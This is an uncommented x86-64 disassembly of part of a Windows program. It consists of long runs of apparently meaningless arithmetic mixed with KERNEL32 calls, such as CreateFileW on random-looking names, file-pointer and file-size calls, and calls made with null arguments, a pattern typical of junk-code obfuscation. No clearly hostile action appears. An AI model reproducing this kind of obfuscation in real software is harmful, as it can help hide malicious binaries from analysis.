mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x635], al
mov eax, dword [rsp + 0xa63c]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov dword [0x14028ed00], eax
mov rax, qword [rsp + 0x146f8]
mov rcx, qword [rsp + 0x147a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3a8], eax
mov eax, dword [rsp + 0xa480]
mov dword [rsp + 0xa8f4], eax
movzx eax, word [rsp + 0x2cc0]
movzx ecx, word [rsp + 0x2338]
sub eax, ecx
mov word [rsp + 0x2b4c], ax
movzx eax, byte [rsp + 0x663]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x437], al
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [0x14028ede0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b4], eax
mov rax, qword [rsp + 0x14880]
mov ecx, dword [rsp + 0x66f4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14608]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8e48]
mov dword [rsp + 0xa8f8], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8ac]
shl eax, cl
mov rcx, qword [0x14028ee90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x19ac]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2964], ax
lea rdx, [rsp + 0xa8fc]
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa5fc], eax
movzx eax, byte [rsp + 0x3ed]
mov byte [rsp + 0x6ce], al
movsx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x14448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14138]
mov word [rcx], ax
mov eax, dword [rsp + 0x7200]
mov ecx, dword [rsp + 0x7800]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ba4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb1c9
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa738], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ca4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b8], eax
movzx eax, word [rsp + 0x1e20]
mov word [rsp + 0x2dc0], ax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x685], al
mov rax, qword [rsp + 0x14880]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282778], eax
mov rax, qword [rsp + 0x148e8]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6fc], eax
mov eax, dword [rsp + 0xa86c]
mov dword [rsp + 0xa900], eax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa100], eax
movzx eax, word [0x14028edc8]
movzx ecx, word [rsp + 0x2b20]
add eax, ecx
mov word [rsp + 0x1f14], ax
movzx eax, byte [rsp + 0x6a3]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x143f8]
mov byte [rcx], al
lea rax, [rsp + 0x6984]
mov qword [rsp + 0x14a10], rax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov ecx, dword [0x1402826b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x763c], eax
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x14218]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7c28], eax
movzx ecx, word [rsp + 0x2c08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
lea rax, [rsp + 0xa770]
mov qword [0x14028ecf8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x9a0c]
mov dword [rsp + 0xa904], eax
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
shl eax, cl
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0x146d0]
movzx eax, byte [rax]
mov byte [rsp + 0x6cf], al
movzx eax, byte [rsp + 0x2de]
movzx ecx, byte [rsp + 0x68b]
sar eax, cl
mov byte [rsp + 0x6bc], al
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x2b68]
xor eax, ecx
mov word [rsp + 0x2cb4], ax
lea rax, [rsp + 0x7b80]
mov qword [rsp + 0x14a18], rax
mov eax, dword [rsp + 0xa4e4]
mov ecx, dword [0x14028ee04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54c], eax
movzx eax, byte [rsp + 0x667]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x543], al
movzx eax, word [rsp + 0x2cc0]
movzx ecx, word [rsp + 0x2cc4]
add eax, ecx
mov word [0x1402827b4], ax
mov rax, qword [rsp + 0x148d8]
mov rcx, qword [rsp + 0x14840]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa580], eax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9260]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e0], eax
mov eax, dword [0x140282728]
mov dword [rsp + 0xa908], eax
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x14930]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74b0], eax
mov edx, 0x4ea079
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa7cc], eax
movzx eax, byte [rsp + 0x677]
mov byte [rsp + 0x6d0], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x793c], eax
mov eax, dword [0x1402826c0]
mov ecx, dword [rsp + 0x9f14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6c8], eax
movsx eax, word [rsp + 0x2d78]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [0x140282764], ax
movsx eax, byte [rsp + 0x649]
movsx ecx, byte [rsp + 0x672]
add eax, ecx
mov byte [rsp + 0x643], al
movzx eax, byte [0x140281df6]
mov byte [rsp + 0x6d1], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
sub eax, ecx
mov word [rsp + 0x15c8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0xa90c], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x739c]
shr eax, cl
mov dword [rsp + 0x8144], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa560]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa6a8], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa620]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa560], eax
movzx eax, word [rsp + 0x2c4c]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1890], ax
movzx eax, byte [rsp + 0x6bb]
movzx ecx, byte [0x14028ee18]
and eax, ecx
mov byte [0x140281daa], al
mov eax, dword [rsp + 0xa59c]
mov ecx, dword [rsp + 0xa8d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54c], eax
mov eax, dword [0x14028ed98]
mov dword [rsp + 0xa914], eax
mov rax, qword [rsp + 0x14608]
mov rcx, qword [rsp + 0x14a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6ad8], eax
lea rax, [rsp + 0x34e]
mov qword [rsp + 0x14a20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.GS451b63wCpv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14a28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, word [rsp + 0x2c80]
movzx ecx, word [0x14028eeb0]
add eax, ecx
mov word [rsp + 0x1ccc], ax
movsx eax, byte [rsp + 0x621]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x655], al
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
mov word [rsp + 0x2dc4], ax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa684]
add ecx, eax
mov eax, ecx
mov dword [0x1402827b8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb4f5
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa2dc], eax
mov eax, dword [rsp + 0xa868]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14858]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b8]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5bc], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a0c], ax
lea rax, [rsp + 0xa660]
mov qword [rsp + 0x14a30], rax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x64b4]
shl eax, cl
mov dword [rsp + 0xa468], eax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x146f8]
mov qword [rsp + 0x14a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a38]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x747c], eax
mov eax, dword [rsp + 0xa4a4]
mov dword [rsp + 0xa918], eax
movzx eax, byte [rsp + 0x689]
movzx ecx, byte [0x140281dab]
xor eax, ecx
mov byte [rsp + 0x63d], al
movzx eax, word [rsp + 0x2b64]
movzx ecx, word [rsp + 0x2b94]
and eax, ecx
mov word [0x140282734], ax
lea rax, [rsp + 0xa510]
mov qword [rsp + 0x14a40], rax
mov rax, qword [rsp + 0x145d8]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa79c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x147a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa734]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa714], eax
mov eax, dword [rsp + 0xa85c]
mov dword [rsp + 0xa91c], eax
mov eax, dword [rsp + 0xa5f4]
mov ecx, dword [rsp + 0x67e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x658]
sub eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c04], ax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [rsp + 0x2da0]
sub eax, ecx
mov word [rsp + 0x2c44], ax
movzx eax, byte [rsp + 0x2bb]
mov byte [0x14028ecf4], al
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov dword [rsp + 0xa920], eax
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0xa7a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x96e0], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2dc8], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68f]
sub eax, ecx
mov byte [rsp + 0x6ab], al
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0x7bf8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d4], eax
mov eax, dword [rsp + 0xa880]
mov rcx, qword [rsp + 0x148c0]
mov qword [rsp + 0x14a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9ed8], eax
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6f50], eax
mov eax, dword [rsp + 0x9f14]
mov dword [rsp + 0xa924], eax
movzx eax, word [rsp + 0x2d38]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402826e0], ax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14900]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov dword [rsp + 0xa928], eax
mov eax, dword [rsp + 0x8348]
mov ecx, dword [rsp + 0xa924]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa618], eax
movsx eax, byte [0x140281dc3]
movsx ecx, byte [rsp + 0x6c7]
add eax, ecx
mov byte [rsp + 0x64f], al
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2dcc], ax
movzx eax, word [rsp + 0x221c]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x148d0]
mov word [rcx], ax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x676]
add eax, ecx
mov byte [rsp + 0x309], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa440], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x866c], eax
lea rcx, [rsp + 0x248f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x14748]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402827bc], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa724], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.patLziPDGI0qAwMcIMr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14a50], rax
lea rax, [rsp + 0xa5a4]
mov qword [rsp + 0x14a58], rax
mov eax, dword [rsp + 0xa5ec]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa43c], eax
movzx eax, word [rsp + 0x2b48]
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d0]
sub eax, ecx
mov byte [rsp + 0x6bf], al
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5d0], eax
mov eax, dword [rsp + 0xa580]
mov dword [rsp + 0xa92c], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa680]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x14260]
mov rcx, qword [rsp + 0x146c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402827c0], eax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
movzx ecx, word [0x140282698]
sar eax, cl
mov word [rsp + 0x2134], ax
movzx eax, byte [rsp + 0x6c8]
mov byte [rsp + 0x6d2], al
movsx eax, word [rsp + 0x2d78]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2cac], ax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [0x1402826f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa388], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov dword [rsp + 0xa930], eax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c5c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x668]
add eax, ecx
mov byte [rsp + 0x45f], al
mov rax, qword [rsp + 0x148c0]
mov ecx, dword [rsp + 0xa928]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028275c], eax
mov rax, qword [rsp + 0x14748]
mov ecx, dword [rsp + 0x9ca4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4f8], eax
mov rax, qword [rsp + 0x140f0]
mov ecx, dword [rsp + 0x9f14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x148f8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [rsp + 0xa3bc]
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d5]
and eax, ecx
mov byte [rsp + 0x3ed], al
movzx eax, word [rsp + 0x2188]
mov word [rsp + 0x2dd4], ax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6984], eax
mov eax, dword [rsp + 0xa914]
mov ecx, dword [0x14028eec8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69e0], eax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x149d8]
mov qword [rsp + 0x14a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9050], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov dword [0x14028ecf0], eax
mov eax, dword [rsp + 0xa840]
mov ecx, dword [0x14028277c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2dd8], ax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x647], al
movzx eax, word [rsp + 0x2cb4]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f98], ax
movzx eax, byte [rsp + 0x686]
mov byte [rsp + 0x6d3], al
mov rax, qword [rsp + 0x14378]
mov ecx, dword [rsp + 0xa6b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa510], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91bc], eax
movzx eax, word [rsp + 0x2d54]
movzx ecx, word [rsp + 0x2c64]
add eax, ecx
mov word [rsp + 0x2d48], ax
movzx eax, byte [rsp + 0x660]
mov rcx, qword [0x14028ed28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028ed78], al
mov eax, dword [rsp + 0xa078]
mov dword [rsp + 0xa938], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa680]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa53c], eax
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa648]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa480], eax
mov eax, dword [rsp + 0xa250]
mov dword [rsp + 0xa93c], eax
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x140d8]
mov word [rcx], ax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
mov byte [rsp + 0x6d4], al
movzx ecx, word [rsp + 0x2bd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb8], ax
mov rax, qword [rsp + 0x145d0]
mov rcx, qword [rsp + 0x145b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa674], eax
mov eax, dword [rsp + 0xa5a0]
mov ecx, dword [rsp + 0xa658]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b98], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140281e33], al
mov rax, qword [rsp + 0x14360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf8]
or eax, ecx
mov word [rsp + 0x212c], ax
movzx eax, word [rsp + 0x2d84]
movzx ecx, word [0x14028274c]
xor eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x6d5], al
mov eax, dword [rsp + 0x66b8]
mov rcx, qword [rsp + 0x14880]
mov qword [rsp + 0x14a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa93c], eax
mov rax, qword [0x14028ee38]
mov ecx, dword [rsp + 0x9d54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa160], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
mov eax, dword [rsp + 0xa620]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x14a30]
mov ecx, dword [rsp + 0xa40c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa84c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa828]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
movzx eax, byte [rsp + 0x114]
movzx ecx, byte [rsp + 0x3c5]
sub eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [0x14028edc8]
add eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8fc], eax
mov eax, dword [rsp + 0xa8b0]
mov dword [rsp + 0xa944], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e70], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa664]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ed8]
mov qword [rsp + 0x14a70], rax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d5], al
lea rax, [0x140282700]
mov qword [rsp + 0x14a78], rax
movsx eax, word [rsp + 0x2bd4]
movsx ecx, word [rsp + 0x2c74]
sub eax, ecx
mov word [rsp + 0x2c84], ax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x688]
sub eax, ecx
mov byte [rsp + 0x64e], al
mov eax, dword [rsp + 0x6fd0]
mov ecx, dword [0x140282778]
sub ecx, eax
mov eax, ecx
mov dword [0x1402827c4], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xa948], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x652], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
xor eax, ecx
mov word [rsp + 0x1708], ax
mov rax, qword [rsp + 0x145d8]
mov rcx, qword [rsp + 0x14988]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x140f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa6cc]
mov rcx, qword [rsp + 0x14510]
mov qword [rsp + 0x14a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa624], eax
lea rax, [rsp + 0x7bf8]
mov qword [rsp + 0x14a88], rax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0xa7ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa904], eax
lea rax, [0x140281e2f]
mov qword [rsp + 0x14a90], rax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402826e8], ax
mov rax, qword [rsp + 0x147d0]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa408], eax
mov eax, dword [rsp + 0xa768]
mov ecx, dword [rsp + 0x9ddc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa394], eax
mov eax, dword [rsp + 0x9774]
mov dword [rsp + 0xa94c], eax
mov eax, dword [rsp + 0xa710]
mov ecx, dword [rsp + 0x6a78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
mov eax, dword [rsp + 0x7c60]
mov dword [rsp + 0xa950], eax
movsx eax, byte [rsp + 0x696]
movsx ecx, byte [rsp + 0x64e]
sub eax, ecx
mov byte [rsp + 0x630], al
lea rax, [rsp + 0x1b80]
mov qword [rsp + 0x14a98], rax
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa798], eax
movzx eax, word [rsp + 0x1bbc]
movzx ecx, word [rsp + 0x2b4c]
sub eax, ecx
mov word [rsp + 0x1890], ax
movzx eax, byte [rsp + 0x640]
movzx ecx, byte [rsp + 0x674]
add eax, ecx
mov byte [0x140281e1b], al
mov rax, qword [rsp + 0x14880]
